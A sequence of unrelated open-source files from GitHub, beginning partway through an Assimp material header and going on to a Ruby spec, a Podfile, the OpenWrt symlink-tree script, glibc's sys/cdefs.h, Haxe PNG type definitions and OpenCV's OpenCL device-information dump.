unsigned int type,
unsigned int index)
{
return AddBinaryProperty((const void*)pInput,
pNumValues * sizeof(aiColor3D),
pKey,type,index,ai_real_to_property_type_info(pInput->b));
}
// ---------------------------------------------------------------------------
inline aiReturn aiMaterial::AddProperty(const aiVector3D* pInput,
const unsigned int pNumValues,
const char* pKey,
unsigned int type,
unsigned int index)
{
return AddBinaryProperty((const void*)pInput,
pNumValues * sizeof(aiVector3D),
pKey,type,index,ai_real_to_property_type_info(pInput->x));
}
// ---------------------------------------------------------------------------
inline aiReturn aiMaterial::AddProperty(const int* pInput,
const unsigned int pNumValues,
const char* pKey,
unsigned int type,
unsigned int index)
{
return AddBinaryProperty((const void*)pInput,
pNumValues * sizeof(int),
pKey,type,index,aiPTI_Integer);
}
// ---------------------------------------------------------------------------
// The template specializations below are for backwards compatibility.
// The recommended way to add material properties is using the non-template
// overloads.
// ---------------------------------------------------------------------------
// ---------------------------------------------------------------------------
template<>
inline aiReturn aiMaterial::AddProperty<float>(const float* pInput,
const unsigned int pNumValues,
const char* pKey,
unsigned int type,
unsigned int index)
{
return AddBinaryProperty((const void*)pInput,
pNumValues * sizeof(float),
pKey,type,index,aiPTI_Float);
}
// ---------------------------------------------------------------------------
template<>
inline aiReturn aiMaterial::AddProperty<double>(const double* pInput,
const unsigned int pNumValues,
const char* pKey,
unsigned int type,
unsigned int index)
{
return AddBinaryProperty((const void*)pInput,
pNumValues * sizeof(double),
pKey,type,index,aiPTI_Double);
}
// ---------------------------------------------------------------------------
template<>
inline aiReturn aiMaterial::AddProperty<aiUVTransform>(const aiUVTransform* pInput,
const unsigned int pNumValues,
const char* pKey,
unsigned int type,
unsigned int index)
{
return AddBinaryProperty((const void*)pInput,
pNumValues * sizeof(aiUVTransform),
pKey,type,index,aiPTI_Float);
}
// ---------------------------------------------------------------------------
template<>
inline aiReturn aiMaterial::AddProperty<aiColor4D>(const aiColor4D* pInput,
const unsigned int pNumValues,
const char* pKey,
unsigned int type,
unsigned int index)
{
return AddBinaryProperty((const void*)pInput,
pNumValues * sizeof(aiColor4D),
pKey,type,index,aiPTI_Float);
}
// ---------------------------------------------------------------------------
template<>
inline aiReturn aiMaterial::AddProperty<aiColor3D>(const aiColor3D* pInput,
const unsigned int pNumValues,
const char* pKey,
unsigned int type,
unsigned int index)
{
return AddBinaryProperty((const void*)pInput,
pNumValues * sizeof(aiColor3D),
pKey,type,index,aiPTI_Float);
}
// ---------------------------------------------------------------------------
template<>
inline aiReturn aiMaterial::AddProperty<aiVector3D>(const aiVector3D* pInput,
const unsigned int pNumValues,
const char* pKey,
unsigned int type,
unsigned int index)
{
return AddBinaryProperty((const void*)pInput,
pNumValues * sizeof(aiVector3D),
pKey,type,index,aiPTI_Float);
}
// ---------------------------------------------------------------------------
template<>
inline aiReturn aiMaterial::AddProperty<int>(const int* pInput,
const unsigned int pNumValues,
const char* pKey,
unsigned int type,
unsigned int index)
{
return AddBinaryProperty((const void*)pInput,
pNumValues * sizeof(int),
pKey,type,index,aiPTI_Integer);
}
//! @endcond
#endif //! AI_MATERIAL_INL_INC
| {
"pile_set_name": "Github"
} |
# frozen_string_literal: true
require_relative '../feature_helper'
require 'quality/quality_checker'
describe Quality::QualityChecker do
it 'has an example feature spec' do
expect(exec_io('echo test')).to eq("test\n")
end
end
| {
"pile_set_name": "Github"
} |
# Uncomment the next line to define a global platform for your project
# platform :ios, '9.0'
target 'RxReachability_Example' do
# Comment the next line if you don't want to use dynamic frameworks
use_frameworks!
# Pods for RxReachability
pod "RxReachability", :git => "https://github.com/RxSwiftCommunity/RxReachability.git", :branch => "develop"
end
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env bash
# Create a new openwrt tree with symlinks pointing at the current tree
# Usage: ./scripts/symlink-tree.sh <destination>
FILES="
BSDmakefile
config
Config.in
LICENSE
Makefile
README
dl
feeds.conf.default
include
package
rules.mk
scripts
target
toolchain
tools"
OPTIONAL_FILES="
.git"
if [ -f feeds.conf ] ; then
FILES="$FILES feeds.conf"
fi
if [ -z "$1" ]; then
echo "Syntax: $0 <destination>" >&2
exit 1
fi
if [ -e "$1" ]; then
echo "Error: $1 already exists" >&2
exit 1
fi
set -e # fail if any commands fails
mkdir -p dl "$1"
for file in $FILES; do
[ -e "$PWD/$file" ] || {
echo "ERROR: $file does not exist in the current tree" >&2
exit 1
}
ln -s "$PWD/$file" "$1/"
done
for file in $OPTIONAL_FILES; do
[ -e "$PWD/$file" ] && ln -s "$PWD/$file" "$1/"
done
exit 0
| {
"pile_set_name": "Github"
} |
/* Copyright (C) 1992-2020 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public
License as published by the Free Software Foundation; either
version 3 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public
License along with the GNU C Library; if not, see
<https://www.gnu.org/licenses/>. */
#ifndef _SYS_CDEFS_H
#define _SYS_CDEFS_H 1
/* We are almost always included from features.h. */
#ifndef _FEATURES_H
# include <features.h>
#endif
/* The GNU libc does not support any K&R compilers or the traditional mode
of ISO C compilers anymore. Check for some of the combinations not
anymore supported. */
#if defined __GNUC__ && !defined __STDC__
# error "You need a ISO C conforming compiler to use the glibc headers"
#endif
/* Some user header file might have defined this before. */
#undef __P
#undef __PMT
#ifdef __GNUC__
/* All functions, except those with callbacks or those that
synchronize memory, are leaf functions. */
# if __GNUC_PREREQ (4, 6) && !defined _LIBC
# define __LEAF , __leaf__
# define __LEAF_ATTR __attribute__ ((__leaf__))
# else
# define __LEAF
# define __LEAF_ATTR
# endif
/* GCC can always grok prototypes. For C++ programs we add throw()
to help it optimize the function calls. But this works only with
gcc 2.8.x and egcs. For gcc 3.2 and up we even mark C functions
as non-throwing using a function attribute since programs can use
the -fexceptions options for C code as well. */
# if !defined __cplusplus && __GNUC_PREREQ (3, 3)
# define __THROW __attribute__ ((__nothrow__ __LEAF))
# define __THROWNL __attribute__ ((__nothrow__))
# define __NTH(fct) __attribute__ ((__nothrow__ __LEAF)) fct
# define __NTHNL(fct) __attribute__ ((__nothrow__)) fct
# else
# if defined __cplusplus && __GNUC_PREREQ (2,8)
# define __THROW throw ()
# define __THROWNL throw ()
# define __NTH(fct) __LEAF_ATTR fct throw ()
# define __NTHNL(fct) fct throw ()
# else
# define __THROW
# define __THROWNL
# define __NTH(fct) fct
# define __NTHNL(fct) fct
# endif
# endif
#else /* Not GCC. */
# if (defined __cplusplus \
|| (defined __STDC_VERSION__ && __STDC_VERSION__ >= 199901L))
# define __inline inline
# else
# define __inline /* No inline functions. */
# endif
# define __THROW
# define __THROWNL
# define __NTH(fct) fct
#endif /* GCC. */
/* Compilers that are not clang may object to
#if defined __clang__ && __has_extension(...)
even though they do not need to evaluate the right-hand side of the &&. */
#if defined __clang__ && defined __has_extension
# define __glibc_clang_has_extension(ext) __has_extension (ext)
#else
# define __glibc_clang_has_extension(ext) 0
#endif
/* These two macros are not used in glibc anymore. They are kept here
only because some other projects expect the macros to be defined. */
#define __P(args) args
#define __PMT(args) args
/* For these things, GCC behaves the ANSI way normally,
and the non-ANSI way under -traditional. */
#define __CONCAT(x,y) x ## y
#define __STRING(x) #x
/* This is not a typedef so `const __ptr_t' does the right thing. */
#define __ptr_t void *
/* C++ needs to know that types and declarations are C, not C++. */
#ifdef __cplusplus
# define __BEGIN_DECLS extern "C" {
# define __END_DECLS }
#else
# define __BEGIN_DECLS
# define __END_DECLS
#endif
/* Fortify support. */
#define __bos(ptr) __builtin_object_size (ptr, __USE_FORTIFY_LEVEL > 1)
#define __bos0(ptr) __builtin_object_size (ptr, 0)
#if __GNUC_PREREQ (4,3)
# define __warndecl(name, msg) \
extern void name (void) __attribute__((__warning__ (msg)))
# define __warnattr(msg) __attribute__((__warning__ (msg)))
# define __errordecl(name, msg) \
extern void name (void) __attribute__((__error__ (msg)))
#else
# define __warndecl(name, msg) extern void name (void)
# define __warnattr(msg)
# define __errordecl(name, msg) extern void name (void)
#endif
/* Support for flexible arrays.
Headers that should use flexible arrays only if they're "real"
(e.g. only if they won't affect sizeof()) should test
#if __glibc_c99_flexarr_available. */
#if defined __STDC_VERSION__ && __STDC_VERSION__ >= 199901L && !defined __HP_cc
# define __flexarr []
# define __glibc_c99_flexarr_available 1
#elif __GNUC_PREREQ (2,97)
/* GCC 2.97 supports C99 flexible array members as an extension,
even when in C89 mode or compiling C++ (any version). */
# define __flexarr []
# define __glibc_c99_flexarr_available 1
#elif defined __GNUC__
/* Pre-2.97 GCC did not support C99 flexible arrays but did have
an equivalent extension with slightly different notation. */
# define __flexarr [0]
# define __glibc_c99_flexarr_available 1
#else
/* Some other non-C99 compiler. Approximate with [1]. */
# define __flexarr [1]
# define __glibc_c99_flexarr_available 0
#endif
/* __asm__ ("xyz") is used throughout the headers to rename functions
at the assembly language level. This is wrapped by the __REDIRECT
macro, in order to support compilers that can do this some other
way. When compilers don't support asm-names at all, we have to do
preprocessor tricks instead (which don't have exactly the right
semantics, but it's the best we can do).
Example:
int __REDIRECT(setpgrp, (__pid_t pid, __pid_t pgrp), setpgid); */
#if defined __GNUC__ && __GNUC__ >= 2
# define __REDIRECT(name, proto, alias) name proto __asm__ (__ASMNAME (#alias))
# ifdef __cplusplus
# define __REDIRECT_NTH(name, proto, alias) \
name proto __THROW __asm__ (__ASMNAME (#alias))
# define __REDIRECT_NTHNL(name, proto, alias) \
name proto __THROWNL __asm__ (__ASMNAME (#alias))
# else
# define __REDIRECT_NTH(name, proto, alias) \
name proto __asm__ (__ASMNAME (#alias)) __THROW
# define __REDIRECT_NTHNL(name, proto, alias) \
name proto __asm__ (__ASMNAME (#alias)) __THROWNL
# endif
# define __ASMNAME(cname) __ASMNAME2 (__USER_LABEL_PREFIX__, cname)
# define __ASMNAME2(prefix, cname) __STRING (prefix) cname
/*
#elif __SOME_OTHER_COMPILER__
# define __REDIRECT(name, proto, alias) name proto; \
_Pragma("let " #name " = " #alias)
*/
#endif
/* GCC has various useful declarations that can be made with the
`__attribute__' syntax. All of the ways we use this do fine if
they are omitted for compilers that don't understand it. */
#if !defined __GNUC__ || __GNUC__ < 2
# define __attribute__(xyz) /* Ignore */
#endif
/* At some point during the gcc 2.96 development the `malloc' attribute
for functions was introduced. We don't want to use it unconditionally
(although this would be possible) since it generates warnings. */
#if __GNUC_PREREQ (2,96)
# define __attribute_malloc__ __attribute__ ((__malloc__))
#else
# define __attribute_malloc__ /* Ignore */
#endif
/* Tell the compiler which arguments to an allocation function
indicate the size of the allocation. */
#if __GNUC_PREREQ (4, 3)
# define __attribute_alloc_size__(params) \
__attribute__ ((__alloc_size__ params))
#else
# define __attribute_alloc_size__(params) /* Ignore. */
#endif
/* At some point during the gcc 2.96 development the `pure' attribute
for functions was introduced. We don't want to use it unconditionally
(although this would be possible) since it generates warnings. */
#if __GNUC_PREREQ (2,96)
# define __attribute_pure__ __attribute__ ((__pure__))
#else
# define __attribute_pure__ /* Ignore */
#endif
/* This declaration tells the compiler that the value is constant. */
#if __GNUC_PREREQ (2,5)
# define __attribute_const__ __attribute__ ((__const__))
#else
# define __attribute_const__ /* Ignore */
#endif
/* At some point during the gcc 3.1 development the `used' attribute
for functions was introduced. We don't want to use it unconditionally
(although this would be possible) since it generates warnings. */
#if __GNUC_PREREQ (3,1)
# define __attribute_used__ __attribute__ ((__used__))
# define __attribute_noinline__ __attribute__ ((__noinline__))
#else
# define __attribute_used__ __attribute__ ((__unused__))
# define __attribute_noinline__ /* Ignore */
#endif
/* Since version 3.2, gcc allows marking deprecated functions. */
#if __GNUC_PREREQ (3,2)
# define __attribute_deprecated__ __attribute__ ((__deprecated__))
#else
# define __attribute_deprecated__ /* Ignore */
#endif
/* Since version 4.5, gcc also allows one to specify the message printed
when a deprecated function is used. clang claims to be gcc 4.2, but
may also support this feature. */
#if __GNUC_PREREQ (4,5) || \
__glibc_clang_has_extension (__attribute_deprecated_with_message__)
# define __attribute_deprecated_msg__(msg) \
__attribute__ ((__deprecated__ (msg)))
#else
# define __attribute_deprecated_msg__(msg) __attribute_deprecated__
#endif
/* At some point during the gcc 2.8 development the `format_arg' attribute
for functions was introduced. We don't want to use it unconditionally
(although this would be possible) since it generates warnings.
If several `format_arg' attributes are given for the same function, in
gcc-3.0 and older, all but the last one are ignored. In newer gccs,
all designated arguments are considered. */
#if __GNUC_PREREQ (2,8)
# define __attribute_format_arg__(x) __attribute__ ((__format_arg__ (x)))
#else
# define __attribute_format_arg__(x) /* Ignore */
#endif
/* At some point during the gcc 2.97 development the `strfmon' format
attribute for functions was introduced. We don't want to use it
unconditionally (although this would be possible) since it
generates warnings. */
#if __GNUC_PREREQ (2,97)
# define __attribute_format_strfmon__(a,b) \
__attribute__ ((__format__ (__strfmon__, a, b)))
#else
# define __attribute_format_strfmon__(a,b) /* Ignore */
#endif
/* The nonnull function attribute marks pointer parameters that
must not be NULL. Do not define __nonnull if it is already defined,
for portability when this file is used in Gnulib. */
#ifndef __nonnull
# if __GNUC_PREREQ (3,3)
# define __nonnull(params) __attribute__ ((__nonnull__ params))
# else
# define __nonnull(params)
# endif
#endif
/* If fortification mode, we warn about unused results of certain
function calls which can lead to problems. */
#if __GNUC_PREREQ (3,4)
# define __attribute_warn_unused_result__ \
__attribute__ ((__warn_unused_result__))
# if defined __USE_FORTIFY_LEVEL && __USE_FORTIFY_LEVEL > 0
# define __wur __attribute_warn_unused_result__
# endif
#else
# define __attribute_warn_unused_result__ /* empty */
#endif
#ifndef __wur
# define __wur /* Ignore */
#endif
/* Forces a function to be always inlined. */
#if __GNUC_PREREQ (3,2)
/* The Linux kernel defines __always_inline in stddef.h (283d7573), and
it conflicts with this definition. Therefore undefine it first to
allow either header to be included first. */
# undef __always_inline
# define __always_inline __inline __attribute__ ((__always_inline__))
#else
# undef __always_inline
# define __always_inline __inline
#endif
/* Associate error messages with the source location of the call site rather
than with the source location inside the function. */
#if __GNUC_PREREQ (4,3)
# define __attribute_artificial__ __attribute__ ((__artificial__))
#else
# define __attribute_artificial__ /* Ignore */
#endif
/* GCC 4.3 and above with -std=c99 or -std=gnu99 implements ISO C99
inline semantics, unless -fgnu89-inline is used. Using __GNUC_STDC_INLINE__
or __GNUC_GNU_INLINE is not a good enough check for gcc because gcc versions
older than 4.3 may define these macros and still not guarantee GNU inlining
semantics.
clang++ identifies itself as gcc-4.2, but has support for GNU inlining
semantics, that can be checked for by using the __GNUC_STDC_INLINE_ and
__GNUC_GNU_INLINE__ macro definitions. */
#if (!defined __cplusplus || __GNUC_PREREQ (4,3) \
|| (defined __clang__ && (defined __GNUC_STDC_INLINE__ \
|| defined __GNUC_GNU_INLINE__)))
# if defined __GNUC_STDC_INLINE__ || defined __cplusplus
# define __extern_inline extern __inline __attribute__ ((__gnu_inline__))
# define __extern_always_inline \
extern __always_inline __attribute__ ((__gnu_inline__))
# else
# define __extern_inline extern __inline
# define __extern_always_inline extern __always_inline
# endif
#endif
#ifdef __extern_always_inline
# define __fortify_function __extern_always_inline __attribute_artificial__
#endif
/* GCC 4.3 and above allow passing all anonymous arguments of an
__extern_always_inline function to some other vararg function. */
#if __GNUC_PREREQ (4,3)
# define __va_arg_pack() __builtin_va_arg_pack ()
# define __va_arg_pack_len() __builtin_va_arg_pack_len ()
#endif
/* It is possible to compile containing GCC extensions even if GCC is
run in pedantic mode if the uses are carefully marked using the
`__extension__' keyword. But this is not generally available before
version 2.8. */
#if !__GNUC_PREREQ (2,8)
# define __extension__ /* Ignore */
#endif
/* __restrict is known in EGCS 1.2 and above. */
#if !__GNUC_PREREQ (2,92)
# if defined __STDC_VERSION__ && __STDC_VERSION__ >= 199901L
# define __restrict restrict
# else
# define __restrict /* Ignore */
# endif
#endif
/* ISO C99 also allows to declare arrays as non-overlapping. The syntax is
array_name[restrict]
GCC 3.1 supports this. */
#if __GNUC_PREREQ (3,1) && !defined __GNUG__
# define __restrict_arr __restrict
#else
# ifdef __GNUC__
# define __restrict_arr /* Not supported in old GCC. */
# else
# if defined __STDC_VERSION__ && __STDC_VERSION__ >= 199901L
# define __restrict_arr restrict
# else
/* Some other non-C99 compiler. */
# define __restrict_arr /* Not supported. */
# endif
# endif
#endif
#if __GNUC__ >= 3
# define __glibc_unlikely(cond) __builtin_expect ((cond), 0)
# define __glibc_likely(cond) __builtin_expect ((cond), 1)
#else
# define __glibc_unlikely(cond) (cond)
# define __glibc_likely(cond) (cond)
#endif
#ifdef __has_attribute
# define __glibc_has_attribute(attr) __has_attribute (attr)
#else
# define __glibc_has_attribute(attr) 0
#endif
#if (!defined _Noreturn \
&& (defined __STDC_VERSION__ ? __STDC_VERSION__ : 0) < 201112 \
&& !__GNUC_PREREQ (4,7))
# if __GNUC_PREREQ (2,8)
# define _Noreturn __attribute__ ((__noreturn__))
# else
# define _Noreturn
# endif
#endif
#if __GNUC_PREREQ (8, 0)
/* Describes a char array whose address can safely be passed as the first
argument to strncpy and strncat, as the char array is not necessarily
a NUL-terminated string. */
# define __attribute_nonstring__ __attribute__ ((__nonstring__))
#else
# define __attribute_nonstring__
#endif
#if (!defined _Static_assert && !defined __cplusplus \
&& (defined __STDC_VERSION__ ? __STDC_VERSION__ : 0) < 201112 \
&& (!__GNUC_PREREQ (4, 6) || defined __STRICT_ANSI__))
# define _Static_assert(expr, diagnostic) \
extern int (*__Static_assert_function (void)) \
[!!sizeof (struct { int __error_if_negative: (expr) ? 2 : -1; })]
#endif
/* The #ifndef lets Gnulib avoid including these on non-glibc
platforms, where the includes typically do not exist. */
#ifndef __WORDSIZE
# include <bits/wordsize.h>
# include <bits/long-double.h>
#endif
#if defined __LONG_DOUBLE_MATH_OPTIONAL && defined __NO_LONG_DOUBLE_MATH
# define __LDBL_COMPAT 1
# ifdef __REDIRECT
# define __LDBL_REDIR1(name, proto, alias) __REDIRECT (name, proto, alias)
# define __LDBL_REDIR(name, proto) \
__LDBL_REDIR1 (name, proto, __nldbl_##name)
# define __LDBL_REDIR1_NTH(name, proto, alias) __REDIRECT_NTH (name, proto, alias)
# define __LDBL_REDIR_NTH(name, proto) \
__LDBL_REDIR1_NTH (name, proto, __nldbl_##name)
# define __LDBL_REDIR1_DECL(name, alias) \
extern __typeof (name) name __asm (__ASMNAME (#alias));
# define __LDBL_REDIR_DECL(name) \
extern __typeof (name) name __asm (__ASMNAME ("__nldbl_" #name));
# define __REDIRECT_LDBL(name, proto, alias) \
__LDBL_REDIR1 (name, proto, __nldbl_##alias)
# define __REDIRECT_NTH_LDBL(name, proto, alias) \
__LDBL_REDIR1_NTH (name, proto, __nldbl_##alias)
# endif
#endif
#if !defined __LDBL_COMPAT || !defined __REDIRECT
# define __LDBL_REDIR1(name, proto, alias) name proto
# define __LDBL_REDIR(name, proto) name proto
# define __LDBL_REDIR1_NTH(name, proto, alias) name proto __THROW
# define __LDBL_REDIR_NTH(name, proto) name proto __THROW
# define __LDBL_REDIR_DECL(name)
# ifdef __REDIRECT
# define __REDIRECT_LDBL(name, proto, alias) __REDIRECT (name, proto, alias)
# define __REDIRECT_NTH_LDBL(name, proto, alias) \
__REDIRECT_NTH (name, proto, alias)
# endif
#endif
/* __glibc_macro_warning (MESSAGE) issues warning MESSAGE. This is
intended for use in preprocessor macros.
Note: MESSAGE must be a _single_ string; concatenation of string
literals is not supported. */
#if __GNUC_PREREQ (4,8) || __glibc_clang_prereq (3,5)
# define __glibc_macro_warning1(message) _Pragma (#message)
# define __glibc_macro_warning(message) \
__glibc_macro_warning1 (GCC warning message)
#else
# define __glibc_macro_warning(msg)
#endif
/* Generic selection (ISO C11) is a C-only feature, available in GCC
since version 4.9. Previous versions do not provide generic
selection, even though they might set __STDC_VERSION__ to 201112L,
when in -std=c11 mode. Thus, we must check for !defined __GNUC__
when testing __STDC_VERSION__ for generic selection support.
On the other hand, Clang also defines __GNUC__, so a clang-specific
check is required to enable the use of generic selection. */
#if !defined __cplusplus \
&& (__GNUC_PREREQ (4, 9) \
|| __glibc_clang_has_extension (c_generic_selections) \
|| (!defined __GNUC__ && defined __STDC_VERSION__ \
&& __STDC_VERSION__ >= 201112L))
# define __HAVE_GENERIC_SELECTION 1
#else
# define __HAVE_GENERIC_SELECTION 0
#endif
#endif /* sys/cdefs.h */
| {
"pile_set_name": "Github"
} |
/*
* format - Haxe File Formats
*
* Copyright (c) 2008-2009, The Haxe Project Contributors
* All rights reserved.
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* - Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE HAXE PROJECT CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE HAXE PROJECT CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
* DAMAGE.
*/
package format.png;
enum Color {
ColGrey( alpha : Bool ) ; // 1|2|4|8|16 without alpha , 8|16 with alpha
ColTrue( alpha : Bool ); // 8|16
ColIndexed; // 1|2|4|8
}
typedef Header = {
var width : Int;
var height : Int;
var colbits : Int;
var color : Color;
var interlaced : Bool;
}
enum Chunk {
CEnd;
CHeader( h : Header );
CData( b : haxe.io.Bytes );
CPalette( b : haxe.io.Bytes );
CUnknown( id : String, data : haxe.io.Bytes );
}
typedef Data = List<Chunk>;
| {
"pile_set_name": "Github"
} |
// This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#include <iostream>
#include <opencv2/core.hpp>
#include <opencv2/core/ocl.hpp>
#ifndef DUMP_CONFIG_PROPERTY
#define DUMP_CONFIG_PROPERTY(...)
#endif
#ifndef DUMP_MESSAGE_STDOUT
#define DUMP_MESSAGE_STDOUT(...) do { std::cout << __VA_ARGS__ << std::endl; } while (false)
#endif
namespace cv {
namespace {
static std::string bytesToStringRepr(size_t value)
{
size_t b = value % 1024;
value /= 1024;
size_t kb = value % 1024;
value /= 1024;
size_t mb = value % 1024;
value /= 1024;
size_t gb = value;
std::ostringstream stream;
if (gb > 0)
stream << gb << " GB ";
if (mb > 0)
stream << mb << " MB ";
if (kb > 0)
stream << kb << " KB ";
if (b > 0)
stream << b << " B";
std::string s = stream.str();
if (s[s.size() - 1] == ' ')
s = s.substr(0, s.size() - 1);
return s;
}
} // namespace
static void dumpOpenCLInformation()
{
using namespace cv::ocl;
try
{
if (!haveOpenCL() || !useOpenCL())
{
DUMP_MESSAGE_STDOUT("OpenCL is disabled");
DUMP_CONFIG_PROPERTY("cv_ocl", "disabled");
return;
}
std::vector<PlatformInfo> platforms;
cv::ocl::getPlatfomsInfo(platforms);
if (platforms.size() > 0)
{
DUMP_MESSAGE_STDOUT("OpenCL Platforms: ");
for (size_t i = 0; i < platforms.size(); i++)
{
const PlatformInfo* platform = &platforms[i];
DUMP_MESSAGE_STDOUT(" " << platform->name().c_str());
Device current_device;
for (int j = 0; j < platform->deviceNumber(); j++)
{
platform->getDevice(current_device, j);
const char* deviceTypeStr = current_device.type() == Device::TYPE_CPU
? ("CPU") : (current_device.type() == Device::TYPE_GPU ? current_device.hostUnifiedMemory() ? "iGPU" : "dGPU" : "unknown");
DUMP_MESSAGE_STDOUT( " " << deviceTypeStr << ": " << current_device.name().c_str() << " (" << current_device.version().c_str() << ")");
DUMP_CONFIG_PROPERTY( cv::format("cv_ocl_platform_%d_device_%d", (int)i, (int)j ),
cv::format("(Platform=%s)(Type=%s)(Name=%s)(Version=%s)",
platform->name().c_str(), deviceTypeStr, current_device.name().c_str(), current_device.version().c_str()) );
}
}
}
else
{
DUMP_MESSAGE_STDOUT("OpenCL is not available");
DUMP_CONFIG_PROPERTY("cv_ocl", "not available");
return;
}
const Device& device = Device::getDefault();
if (!device.available())
CV_Error(Error::OpenCLInitError, "OpenCL device is not available");
DUMP_MESSAGE_STDOUT("Current OpenCL device: ");
#if 0
DUMP_MESSAGE_STDOUT(" Platform = " << device.getPlatform().name());
DUMP_CONFIG_PROPERTY("cv_ocl_current_platformName", device.getPlatform().name());
#endif
const char* deviceTypeStr = device.type() == Device::TYPE_CPU
? ("CPU") : (device.type() == Device::TYPE_GPU ? device.hostUnifiedMemory() ? "iGPU" : "dGPU" : "unknown");
DUMP_MESSAGE_STDOUT(" Type = " << deviceTypeStr);
DUMP_CONFIG_PROPERTY("cv_ocl_current_deviceType", deviceTypeStr);
DUMP_MESSAGE_STDOUT(" Name = " << device.name());
DUMP_CONFIG_PROPERTY("cv_ocl_current_deviceName", device.name());
DUMP_MESSAGE_STDOUT(" Version = " << device.version());
DUMP_CONFIG_PROPERTY("cv_ocl_current_deviceVersion", device.version());
DUMP_MESSAGE_STDOUT(" Driver version = " << device.driverVersion());
DUMP_CONFIG_PROPERTY("cv_ocl_current_driverVersion", device.driverVersion());
DUMP_MESSAGE_STDOUT(" Address bits = " << device.addressBits());
DUMP_CONFIG_PROPERTY("cv_ocl_current_addressBits", device.addressBits());
DUMP_MESSAGE_STDOUT(" Compute units = " << device.maxComputeUnits());
DUMP_CONFIG_PROPERTY("cv_ocl_current_maxComputeUnits", device.maxComputeUnits());
DUMP_MESSAGE_STDOUT(" Max work group size = " << device.maxWorkGroupSize());
DUMP_CONFIG_PROPERTY("cv_ocl_current_maxWorkGroupSize", device.maxWorkGroupSize());
std::string localMemorySizeStr = bytesToStringRepr(device.localMemSize());
DUMP_MESSAGE_STDOUT(" Local memory size = " << localMemorySizeStr);
DUMP_CONFIG_PROPERTY("cv_ocl_current_localMemSize", device.localMemSize());
std::string maxMemAllocSizeStr = bytesToStringRepr(device.maxMemAllocSize());
DUMP_MESSAGE_STDOUT(" Max memory allocation size = " << maxMemAllocSizeStr);
DUMP_CONFIG_PROPERTY("cv_ocl_current_maxMemAllocSize", device.maxMemAllocSize());
const char* doubleSupportStr = device.doubleFPConfig() > 0 ? "Yes" : "No";
DUMP_MESSAGE_STDOUT(" Double support = " << doubleSupportStr);
DUMP_CONFIG_PROPERTY("cv_ocl_current_haveDoubleSupport", device.doubleFPConfig() > 0);
const char* isUnifiedMemoryStr = device.hostUnifiedMemory() ? "Yes" : "No";
DUMP_MESSAGE_STDOUT(" Host unified memory = " << isUnifiedMemoryStr);
DUMP_CONFIG_PROPERTY("cv_ocl_current_hostUnifiedMemory", device.hostUnifiedMemory());
DUMP_MESSAGE_STDOUT(" Device extensions:");
String extensionsStr = device.extensions();
size_t pos = 0;
while (pos < extensionsStr.size())
{
size_t pos2 = extensionsStr.find(' ', pos);
if (pos2 == String::npos)
pos2 = extensionsStr.size();
if (pos2 > pos)
{
String extensionName = extensionsStr.substr(pos, pos2 - pos);
DUMP_MESSAGE_STDOUT(" " << extensionName);
}
pos = pos2 + 1;
}
DUMP_CONFIG_PROPERTY("cv_ocl_current_extensions", extensionsStr.c_str());
const char* haveAmdBlasStr = haveAmdBlas() ? "Yes" : "No";
DUMP_MESSAGE_STDOUT(" Has AMD Blas = " << haveAmdBlasStr);
DUMP_CONFIG_PROPERTY("cv_ocl_current_AmdBlas", haveAmdBlas());
const char* haveAmdFftStr = haveAmdFft() ? "Yes" : "No";
DUMP_MESSAGE_STDOUT(" Has AMD Fft = " << haveAmdFftStr);
DUMP_CONFIG_PROPERTY("cv_ocl_current_AmdFft", haveAmdFft());
DUMP_MESSAGE_STDOUT(" Preferred vector width char = " << device.preferredVectorWidthChar());
DUMP_CONFIG_PROPERTY("cv_ocl_current_preferredVectorWidthChar", device.preferredVectorWidthChar());
DUMP_MESSAGE_STDOUT(" Preferred vector width short = " << device.preferredVectorWidthShort());
DUMP_CONFIG_PROPERTY("cv_ocl_current_preferredVectorWidthShort", device.preferredVectorWidthShort());
DUMP_MESSAGE_STDOUT(" Preferred vector width int = " << device.preferredVectorWidthInt());
DUMP_CONFIG_PROPERTY("cv_ocl_current_preferredVectorWidthInt", device.preferredVectorWidthInt());
DUMP_MESSAGE_STDOUT(" Preferred vector width long = " << device.preferredVectorWidthLong());
DUMP_CONFIG_PROPERTY("cv_ocl_current_preferredVectorWidthLong", device.preferredVectorWidthLong());
DUMP_MESSAGE_STDOUT(" Preferred vector width float = " << device.preferredVectorWidthFloat());
DUMP_CONFIG_PROPERTY("cv_ocl_current_preferredVectorWidthFloat", device.preferredVectorWidthFloat());
DUMP_MESSAGE_STDOUT(" Preferred vector width double = " << device.preferredVectorWidthDouble());
DUMP_CONFIG_PROPERTY("cv_ocl_current_preferredVectorWidthDouble", device.preferredVectorWidthDouble());
}
catch (...)
{
DUMP_MESSAGE_STDOUT("Exception. Can't dump OpenCL info");
DUMP_MESSAGE_STDOUT("OpenCL device not available");
DUMP_CONFIG_PROPERTY("cv_ocl", "not available");
}
}
